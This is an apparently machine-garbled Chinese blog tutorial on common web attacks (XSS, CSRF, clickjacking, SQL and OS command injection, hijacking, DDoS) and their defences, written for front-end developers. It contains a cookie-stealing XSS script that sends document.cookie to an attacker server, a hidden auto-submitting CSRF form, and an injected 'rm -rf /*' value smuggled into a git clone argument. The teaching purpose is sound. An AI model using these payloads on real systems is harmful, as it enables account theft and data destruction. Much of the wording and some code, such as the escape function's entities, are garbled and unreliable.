关于web安全:常见web攻击

11次阅读

共计 8612 个字符，预计需要花费 22 分钟才能阅读完成。

常见 web 攻打

随着互联网的发达，各种 WEB 利用也变得越来越简单，满足了用户的各种需要，然而随之而来的就是各种网络安全的问题。作为前端开发行业的咱们也逃不开这个问题。所以明天我就简略聊一聊 WEB 前端平安以及如何防备。

1、XSS  

Cross Site Scripting

   跨站脚本攻打

XSS (Cross-Site Scripting)，跨站脚本攻打，因为缩写和 CSS 重叠，所以只能叫 XSS。跨站脚本攻打是指通过在存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的非本站点 HTML 标签或 JavaScript 进行的一种攻打。歹意攻击者往 Web 页面里插入歹意 Script 代码，当用户浏览该页之时，嵌入其中 Web 外面的 Script 代码会被执行，从而达到歹意攻打用户的目标。
 

  XSS 攻打分类

  反射型 – url 参数间接注入

// 一般 http://localhost:3000/?from=china
 
// alert 尝试 http://localhost:3000/?from=<script>alert(3)</script></script>)
 
// 获取 Cookie [http://localhost:3000/?from=<script src=”http://localhost:4000/hack.js”></script>]()
引入了攻击者服务器中的一个 js 文件

hack.js
 var img = new Image()
      img.src=’http://localhost:4000/img?c=’+document.cookie

hack.js 中申请了攻击者服务器并带上了被攻击者的 cookie。而后攻击者服务器只须要：

app.use(async (_ctx_, _next_) => {

log('attack...:' + _ctx_.url)
await _next_()

})

就能够获取到被攻击者的 cookie

// 短域名伪造 https://dwz.cn/
 
// 伪造 cookie 入侵 chrome     
document.cookie= xxx

 存储型 – 存储到 DB 后读取时注入

存储型 xss 个别呈现在评论中，如果评论提交的内容被间接塞入数据库例如：
{
// 评论 
    <script>alert(1)</script> 
    _// 跨站脚本注入 _
    我来了 <script src=”http://localhost:4000/hack.js”></script>
}

提交：

router.post(‘/updateText’, async (_ctx_) => {

text = _ctx_.request.body.text
res = await query(`REPLACE INTO test.text (id,text) VALUES(1,'${text}');`)
_ctx_.redirect('/')

});

没有解决间接塞到数据库，那么当数据被返回前端页面时如果也没做解决，那么被注入的 js 代码就会被执行。拜访到以后页面的用户尽管什么都没做，然而也会被攻击者获取到 cookies。

反射型和存储型的区别

存储型 XSS，长久化，代码是存储在服务器中的，如在个人信息或发表文章等中央，退出代码，如果没有过滤或过滤不严，那么这些代码将贮存到服务器中，用户拜访该页面的时候触发代码执行。这种 XSS 比拟危险，容易造成蠕虫，偷盗 cookie 等

反射型 XSS，非长久化，须要坑骗用户本人去点击链接能力触发 XSS 代码（服务器中没有这样的页面和内容），个别容易呈现在搜寻页面。

XSS 攻打的危害 

Scripting 无能啥就无能啥  

  • 获取页面数据
  • 获取 Cookies 劫持前端逻辑
  • 发送申请
  • 偷取网站的任意数据
  • 偷取用户的材料
  • 偷取用户的机密和登录态
  • 坑骗用户

防备伎俩  

ejs 本义小常识
<% code %> 用于执行其中 javascript 代码
<%= code %> 会对 code 进行 html 本义
<%- code %>  将不会进行本义

HEAD

ctx.set(‘X-XSS-Protection’, 0) _// 禁止 XSS 过滤_
0 禁止 XSS 过滤。
1 启用 XSS 过滤（通常浏览器是默认的）。如果检测到跨站脚本攻打，浏览器将革除页面（删除不平安的部 分）。
1;mode=block 启用 XSS 过滤。如果检测到攻打，浏览器将不会革除页面，而是阻止页面加载。
1;report= (Chromium only) 启用 XSS 过滤。如果检测到跨站脚本攻打，浏览器将革除页面并应用 CSP report-uri 指令的性能发送违规 报告。

CSP

内容安全策略 (CSP, Content Security Policy)
是一个附加的平安层，用于帮忙检测和缓解某些类型的攻 击，包含跨站脚本 (XSS) 和数据注入等攻打。这些攻打可用于实现从数据窃取到网站毁坏或作为歹意软 件散发版本等用处。CSP 实质上就是建设白名单，开发者明确通知浏览器哪些内部资源能够加载和执行。咱们只须要配置规 则，如何拦挡是由浏览器本人实现的。咱们能够通过这种形式来尽量减少 XSS 攻打。
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP

ctx.set(‘Content-Security-Policy’, “default-src ‘self'”) 

// 只容许加载本站资源 Content-Security-Policy: default-src ‘self’
 
// 只容许加载 HTTPS 协定图片 Content-Security-Policy: img-src https://*
 
// 不容许加载任何起源框架 Content-Security-Policy: child-src ‘none’

转义字符
黑名单

用户的输出永远不可信赖的，最广泛的做法就是本义输入输出的内容，对于引号、尖括号、斜杠进行本义
function escape(_str_) {
      str = str.replace(/&/g, ‘&’)    
      str = str.replace(/</g, ‘<‘)    
      str = str.replace(/>/g, ‘>’)    
      str = str.replace(/”/g, ‘&quto;’)    
      str = str.replace(/’/g, ”’)    
      str = str.replace(/`/g, ‘`’)    
      str = str.replace(///g, ‘/’)    
      return str
  }
富文本来说，显然不能通过下面的方法来本义所有字符，因为这样会把须要的格局也过滤掉。对于这种情 况，通常采纳白名单过滤的方法，当然也能够通过黑名单过滤，然而思考到须要过滤的标签和标签属性切实 太多，更加举荐应用白名单的形式。

白名单

const xss = require(‘xss’)  
let html = xss(‘<h1 id=”title”>XSS Demo</h1><script>alert(“xss”);</script>’) 
 _// -> <h1>XSS Demo</h1><script>alert(“xss”);</script> _

HttpOnly

Cookie 这是预防 XSS 攻打窃取用户 cookie 最无效的进攻伎俩。Web 应 用程序在设置 cookie 时，将其属性设为 HttpOnly，就能够防止该网页的 cookie 被客户端歹意 JavaScript 窃取，爱护用户 cookie 信息。
response.addHeader(“Set-Cookie”, “uid=112; Path=/; HttpOnly”)

2、CSRF  

CSRF(Cross Site Request Forgery)

跨站申请伪造

是一种常见的 Web 攻打，它利用用户已登录的身份，在用户毫不知情的状况下，以用户的名义实现非法操作。
用户曾经登录了站点 A，并在本地记录了 cookie 在用户没有登出站点 A 的状况下（也就是 cookie 失效的状况下），拜访了歹意攻击者提供的诱惑危险站点 B (B 站点要求拜访站点 A)。站点 A 没有做任何 CSRF 进攻

如果用户没有退出网站 a 的状况下拜访了如下网站：
<script>

  document.write(`
  <form name="form" style="opacity:0;" action="http://localhost:3000/updateText" method="post" target="csrf">
    增加评论: <input type="text" name="text" value="CSRF 评论。。" />
  </form>
  `)
  var iframe = document.createElement('iframe')
  iframe.name = 'csrf'
  iframe.style.display = 'none'
  document.body.appendChild(iframe)
  setTimeout(function() {document.querySelector('form').submit();},1000)
</script>

网站的 html 能够轻易写点内容，只有让用户感觉不突兀就行。实则攻击者曾经应用用户的身份在网站 a 发表了一个评论（网站 a 没有做任何 csrf 的进攻）。

CSRF 攻打危害 

  • 利用用户登录态
  • 用户不知情
  • 实现业务申请
  • 盗取用户资金（转账，生产）
  • 假冒用户发帖背锅
  • 侵害网站名誉

进攻  

一、验证 HTTP Referer 字段

依据 HTTP 协定，在 HTTP 头中有一个字段叫 Referer，它记录了该 HTTP 申请的起源地址。在通常状况下，拜访一个平安受限页面的申请必须来自于同一个网站，这种办法的不言而喻的益处就是简单易行，网站的一般开发人员不须要操心 CSRF 的破绽，只须要在最初给所有平安敏感的申请对立减少一个拦截器来查看 Referer 的值就能够。特地是对于以后现有的零碎，不须要扭转以后零碎的任何已有代码和逻辑，没有危险，十分便捷。
      然而，这种办法并非十拿九稳。Referer 的值是由浏览器提供的，尽管 HTTP 协定上有明确的要求，然而每个浏览器对于 Referer 的具体实现可能有差异，并不能保障浏览器本身没有安全漏洞。应用验证 Referer 值的办法，就是把安全性都依赖于第三方（即浏览器）来保障，从实践上来讲，这样并不平安。事实上，对于某些浏览器，比方 IE6 或 FF2，目前曾经有一些办法能够篡改 Referer 值，从而进行 CSRF 攻打。即使是应用最新的浏览器，黑客无奈篡改 Referer 值，这种办法依然有问题。因为 Referer 值会记录下用户的拜访起源，有些用户认为这样会进犯到他们本人的隐私权，特地是有些组织放心 Referer 值会把组织内网中的某些信息泄露到外网中。因而，用户本人能够设置浏览器使其在发送申请时不再提供 Referer。当他们失常拜访银行网站时，网站会因为申请没有 Referer 值而认为是 CSRF 攻打，回绝非法用户的拜访。

二、应用验证码

三、在申请地址中应用 token 并验证

CSRF 攻打之所以可能胜利，是因为黑客能够齐全伪造用户的申请，该申请中所有的用户验证信息都是存在于 cookie 中，因而黑客能够在不晓得这些验证信息的状况下间接利用用户本人的 cookie 来通过平安验证。要抵挡 CSRF，关键在于在申请中放入黑客所不能伪造的信息，并且该信息不存在于 cookie 之中。能够在 HTTP 申请中以参数的模式退出一个随机产生的 token，并在服务器端建设一个拦截器来验证这个 token，如果申请中没有 token 或者 token 内容不正确，则认为可能是 CSRF 攻打而回绝该申请。

         该办法有一个毛病是难以保障 token 自身的平安。特地是在一些论坛之类反对用户本人发表内容的网站，黑客能够在下面公布本人集体网站的地址。因为零碎也会在这个地址前面加上 token，黑客能够在本人的网站上失去这个 token，并马上就能够动员 CSRF 攻打。为了防止这一点，零碎能够在增加 token 的时候减少一个判断，如果这个链接是链到本人本站的，就在前面增加 token，如果是通向外网则不加。

四、在 http 头中应用自定义属性并验证

这种办法也是应用 token 并进行验证，和上一种办法不同的是，这里并不是把 token 以参数的模式置于 HTTP 申请之中，而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类，能够一次性给所有该类申请加上 csrftoken 这个 HTTP 头属性，并把 token 值放入其中。这样解决了上种办法在申请中退出 token 的不便，同时，通过 XMLHttpRequest 申请的地址不会被记录到浏览器的地址栏，也不必放心 token 会透过 Referer 泄露到其余网站中去。

        然而这种办法的局限性十分大。XMLHttpRequest 申请通常用于 Ajax 办法中对于页面部分的异步刷新，并非所有的申请都适宜用这个类来发动，而且通过该类申请失去的页面不能被浏览器所记录下，从而进行后退，后退，刷新，珍藏等操作，给用户带来不便。另外，对于没有进行 CSRF 防护的遗留零碎来说，要采纳这种办法来进行防护，要把所有申请都改为 XMLHttpRequest 申请，这样简直是要重写整个网站，这代价无疑是不能承受的。

 3、点击劫持 – clickjacking  

点击劫持是一种视觉坑骗的攻打伎俩。攻击者将须要攻打的网站通过 iframe 嵌套的形式嵌入本人的网页中，并将 iframe 设置为通明，在页面中透出一个按钮诱导用户点击。

response.addHeader(“Set-Cookie”, “uid=112; Path=/; HttpOnly”)

登录  http://localhost:4000/csrf.html

app.use(async (ctx, next) => {
await next()
const referer = ctx.request.header.referer
console.log('Referer:', referer)
})

// 登录 http://localhost:4000/clickjacking.html
 

进攻  

X-FRAME-OPTIONS X-FRAME-OPTIONS 是一个 HTTP 响应头，在古代浏览器有一个很好的反对。这个 HTTP 响应头 就是为了进攻 用 iframe 嵌套的点击劫持攻打。该响应头有三个值可选，别离是 DENY，示意页面不容许通过 iframe 的形式展现 SAMEORIGIN，示意页面能够在雷同域名下通过 iframe 的形式展现 ALLOW-FROM，示意页面能够在指定起源的 iframe 中展现 JS 形式。
以上代码的作用就是当通过 iframe 的形式加载页面时，攻击者的网页间接不显示所有内容了。

4、SQL 注入  

SQL 注入个别是服务端对于用户的输出未做校验就带入到数据库查问中导致的。

注入类型

数字型
数字型注入意味着，当输出的参数是整型时，如：ID，年龄，页码等。
例如 URL 为 xxx.com/test.php?id=5
能够猜想 SQL 语句为：select * from xxtable where id=5
数字型注入多见于输出弱类型语言，例如：参数 id=5，js 会主动来推导变量 id 的数据类型为 int 类型，那么 id=5 and 1=1 则会推导为 String 类型，这是弱类型语言的特色，而 Java，c# 这类强类型语言，如果试图把一个字符串转化为 int 类型，处理不当就会抛出异样，无奈继续执行。这方面强类型语言比弱类型语言有先天劣势。
**
字符型
数字型与字符型注入最大的区别在于，数字型不须要单引号闭合，而字符型则必须单引号闭合。
select * from table where username=’admin’

经典案例：万能明码。

进攻  

 
所有的查问语句倡议应用数据库提供的参数化查问接口 **，参数化的语句应用参数而不是将用户输出变量嵌 入到 SQL 语句中，即不要间接拼接 SQL 语句。
例如 Node.js 中的 mysqljs 库的 query 办法中的 ? 占位参 数。

 5、OS 命令注入  

OS 命令注入和 SQL 注入差不多，只不过 SQL 注入是针对数据库的，而 OS 命令注入是针对操作系统的。
OS 命令注入攻打指通过 web 利用，执行非法的操作系统命令达到攻打的目标。只有在能调用 shell 函数的中央就有存在被攻打的危险。

// 以 nodeJS 为例，退出在接口中须要从 github 下载指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* 用户输出的参数 */};
exec(git clone ${params.repo}/some/path);

如果传入的参数是会怎么
https://github.com/xx/xx.git && rm -rf /* &&

 6、申请劫持  

  DNS 劫持

顾名思义，DNS 服务器 (DNS 解析各个步骤) 被篡改，批改了域名解析的后果，使得拜访到的不是预期的 ip
浏览器缓存 - 本地 hosts- 路由器缓存 - 本地域名解析服务零碎 -…- 根名称服务器

  HTTP 劫持

运营商劫持，此时大略只能降级 HTTPS 了

7、DDOS  

http://www.ruanyifeng.com/blo… 阮一峰 distributed denial of service
DDOS 不是一种攻打，而是一大类攻打的总称。它有几十种类型，新的攻打办法还在一直创造进去。网站运行的各 个环节，都能够是攻打指标。只有把一个环节攻破，使得整个流程跑不起来，就达到了瘫痪服务的目标。

DDOS 常见攻击方式  
  • SYN Flood 此攻打通过向指标发送具备欺骗性源 IP 地址的大量 TCP“初始连贯申请”SYN 数据包来利用 TCP 握手。指标机器 响应每个连贯申请，而后期待握手中的最初一步，这一步从未产生过，耗尽了过程中的指标资源。

    SYN Flood 的基本原理
    SYN Flood 是比拟风行的 DoS（拒绝服务攻打）与 DDoS（分布式拒绝服务攻打）的形式之一，这是一种利用 TCP 协定缺点，发送大量伪造的 TCP 连贯申请，从而使得被攻打方资源耗尽（CPU 满负荷或内存不足）的攻击方式。要明确这种攻打的基本原理，还是要从 TCP 连贯建设的过程开始说起：大家都晓得，TCP 与 UDP 不同，它是基于连贯的，也就是说：为了在服务端和客户端之间传送 TCP 数据，必须先建设一个虚构电路，也就是 TCP 连贯，建设 TCP 连贯的规范过程是这样的：

首先，申请端（客户端）发送一个蕴含 SYN 标记的 TCP 报文，SYN 即同步（Synchronize），同步报文会指明客户端应用的端口以及 TCP 连贯的初始序号；
第二步，服务器在收到客户端的 SYN 报文后，将返回一个 SYN+ACK 的报文，示意客户端的申请被承受，同时 TCP 序号被加一，ACK 即确认（Acknowledgement）。
第三步，客户端也返回一个确认报文 ACK 给服务器端，同样 TCP 序列号被加一，到此一个 TCP 连贯实现。以上的连贯过程在 TCP 协定中被称为三次握手（Three-way Handshake）。
问题就出在 TCP 连贯的三次握手中，假如一个用户向服务器发送了 SYN 报文后忽然死机或掉线，那么服务器在收回 SYN+ACK 应答报文后是无奈收到客户端的 ACK 报文的（第三次握手无奈实现），这种状况下服务器端个别会重试（再次发送 SYN+ACK 给客户端）并期待一段时间后抛弃这个未实现的连贯，这段时间的长度咱们称为 SYN Timeout，一般来说这个工夫是分钟的数量级（大概为 30 秒 - 2 分钟）；一个用户出现异常导致服务器的一个线程期待 1 分钟并不是什么很大的问题，但如果有一个歹意的攻击者大量模仿这种状况，服务器端将为了保护一个十分大的半连贯列表而耗费十分多的资源 —- 数以万计的半连贯，即便是简略的保留并遍历也会耗费十分多的 CPU 工夫和内存，何况还要一直对这个列表中的 IP 进行 SYN+ACK 的重试。实际上如果服务器的 TCP/IP 栈不够弱小，最初的后果往往是堆栈溢出解体 — 即便服务器端的零碎足够弱小，服务器端也将忙于解决攻击者伪造的 TCP 连贯申请而得空理会客户的失常申请（毕竟客户端的失常申请比率十分之小），此时从失常客户的角度看来，服务器失去响应，这种状况咱们称作：服务器端受到了 SYN Flood 攻打（SYN 洪水攻打）

  • HTTP Flood

     此攻打相似于同时在多个不同计算机上重复按 Web 浏览器中的刷新 – 大量 HTTP 申请泛滥服务器，导致回绝服       务。

 进攻伎俩  
    • 备份网站    备份网站不肯定是全功能的，如果能做到全动态浏览，就能满足需要。最低限度应该能够显示布告，通知用户，网 站出了问题，正在全力抢修。
    • 靠谱的运营商
    • 带宽扩容 + CDN    进步立功老本

总结

  1. 审慎用户输出信息，进行输出查看（客户端和服务端同时查看）
  2. 在变量输入到 HTML 页面时，都应该进行编码或本义
  3. 该用验证码的时候肯定要添上
  4. 尽量在重要申请上增加 Token 参数，留神 Token 要足够随机，用足够平安的随机数生成算法

我的项目地址

https://github.com/loudong/security-demo.git

正文完
web安全
发表至： web安全
2020-12-31
 0
Web-上传漏洞及防范
关于web安全:浅谈无文件攻击
关于web安全:某课网Web-安全实战宝典无mi
关于web安全:通过TOR绕过IP锁定

站内搜索

-「」